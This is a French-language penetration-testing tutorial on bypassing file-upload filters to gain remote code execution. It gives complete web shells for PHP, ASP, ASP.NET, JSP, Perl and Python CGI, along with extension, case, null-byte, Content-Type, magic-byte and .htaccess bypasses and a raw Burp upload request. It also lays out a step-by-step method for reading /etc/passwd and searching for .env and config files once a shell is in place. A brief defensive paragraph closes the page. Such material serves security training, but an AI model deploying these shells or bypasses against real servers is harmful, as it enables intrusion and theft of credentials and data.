Aller au contenu

Upload de fichiers : exécution de code par contournement d'extension

Certaines applications acceptent des uploads de fichiers en se fiant uniquement à l’extension ou au type MIME déclaré par le client, sans vérifier le contenu réel du fichier. Un fichier de script renommé avec une extension image peut traverser ce filtre et, si le serveur l’exécute via son interpréteur, produire une exécution de code arbitraire.

Avant de construire un payload, identifier le langage exécuté côté serveur oriente le choix du fichier à uploader.

Fenêtre de terminal
# Lire les en-têtes de réponse
curl -sI http://cible/ | grep -iE "server|x-powered-by"
Server: Apache/2.4.54
X-Powered-By: PHP/8.1.12
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Server: Apache Tomcat/9.0.65

En l’absence d’en-têtes révélateurs, les extensions des pages existantes (.php, .asp, .aspx, .jsp) renseignent directement sur la technologie.

<?php system($_GET['cmd']); ?>

Extensions cibles : .php, .php3, .php4, .php5, .php7, .phtml, .phar

Test de détection minimal :

Fenêtre de terminal
echo '<?php echo "RCE_TEST_OK"; ?>' > test.php.png

Lecture de fichiers sensibles :

<?php
echo '<pre>';
$last_line = system('cd /etc/ && cat passwd', $retval);
echo '</pre>
Dernière ligne : ' . $last_line . '
Valeur retournée : ' . $retval;
?>
<!-- ASP classique -->
<% Response.Write(CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll) %>
<!-- ASP.NET WebForms -->
<%@ Page Language="C#" %>
<% Response.Write(new System.Diagnostics.Process {
StartInfo = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) {
UseShellExecute = false, RedirectStandardOutput = true
}
}.Start() ? "ok" : "fail"); %>

Extensions cibles : .asp, .aspx, .ashx, .asmx, .cer, .asa

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
%>

Extensions cibles : .jsp, .jspx, .jsw, .jsv, .jspf

#!/usr/bin/perl
use CGI;
my $q = CGI->new;
print $q->header;
print `$ENV{QUERY_STRING}`;
#!/usr/bin/env python3
import os, sys
cmd = os.environ.get('QUERY_STRING', '')
print("Content-Type: text/plain\n")
print(os.popen(cmd).read())

Extensions cibles : .pl, .cgi, .py (si mod_cgi actif)

Uploader un fichier de test avec une double extension et accéder à son URL :

Fenêtre de terminal
# PHP
echo '<?php echo "RCE_TEST_OK"; ?>' > test.php.png
# ASP
echo '<% Response.Write("RCE_TEST_OK") %>' > test.asp.png
# JSP
echo '<% out.print("RCE_TEST_OK"); %>' > test.jsp.png
  • Réponse contenant RCE_TEST_OK → exécution confirmée
  • Affichage du code source brut → fichier servi en statique, pas exécuté
  • Erreur ou refus à l’upload → filtre actif, tenter les bypasses

La technique de base : ajouter l’extension attendue après l’extension exécutable.

shell.php.png
shell.asp.jpg
shell.jsp.gif

Sur Apache mal configuré, la présence d’une extension reconnue par l’interpréteur dans le nom suffit à déclencher l’exécution.

Si l’extension principale est bloquée :

# PHP
.php3 .php4 .php5 .php7 .phtml .phar .shtml
# ASP/ASPX (IIS)
.cer .asa .ashx .asmx
# JSP
.jspx .jsw .jspf
shell.PHP shell.Php shell.pHp
shell.ASP shell.Asp
shell.JSP shell.Jsp
shell.php%00.png

Intercepter la requête dans Burp Suite et forcer :

Content-Type: image/png

Le serveur se fie au type déclaré par le client sans lire le contenu.

Préfixer le payload avec la signature du format image attendu pour tromper une vérification basée sur les octets :

Fenêtre de terminal
# Signature GIF89a + payload PHP
printf 'GIF89a' > shell.php.gif
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.gif
# Signature PNG (\x89PNG) + payload
printf '\x89PNG\r\n\x1a\n' > shell.php.png
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.png

Si l’application accepte les fichiers .htaccess, forcer l’exécution PHP sur l’extension de son choix :

AddType application/x-httpd-php .png

Après upload de ce .htaccess, tous les .png du répertoire sont interprétés comme PHP.

  1. Uploader un fichier .png légitime via le formulaire
  2. Dans Burp Proxy → HTTP history, retrouver la requête POST
  3. Envoyer vers le Repeater (Ctrl+R)
  4. Modifier le filename et le contenu dans le corps multipart
  5. Rejouer et observer la réponse
POST /upload HTTP/1.1
Host: cible
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php.png"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------Boundary--
1. Identifier la technologie serveur
curl -sI http://cible/ | grep -iE "server|x-powered-by"
→ choisir le payload correspondant
2. Tester l'exécution avec le payload minimal
→ uploader, accéder à l'URL, chercher la chaîne de confirmation
3. Si refusé → tenter les bypasses dans l'ordre
→ double extension
→ extensions alternatives
→ variation de casse
→ modification Content-Type dans Burp
→ magic bytes en tête du fichier
→ upload de .htaccess si Apache
4. Une fois l'exécution confirmée
→ lire /etc/passwd (Linux) ou C:\Windows\System32\drivers\etc\hosts (Windows)
→ déployer un webshell paramétré pour l'exploration
5. Chercher des fichiers de configuration
?cmd=find+/var/www+-name+"*.env"
?cmd=find+/var/www+-name+"config.php"
?cmd=find+/var/www+-name+"web.config"

La validation d’extension côté client n’offre aucune protection. Côté serveur, la vérification doit porter sur le contenu réel du fichier (magic bytes) et non sur le nom ou le Content-Type déclaré. La neutralisation la plus fiable consiste à configurer le répertoire d’upload pour qu’il serve les fichiers exclusivement en statique, sans exécution possible, quelle que soit l’extension uploadée.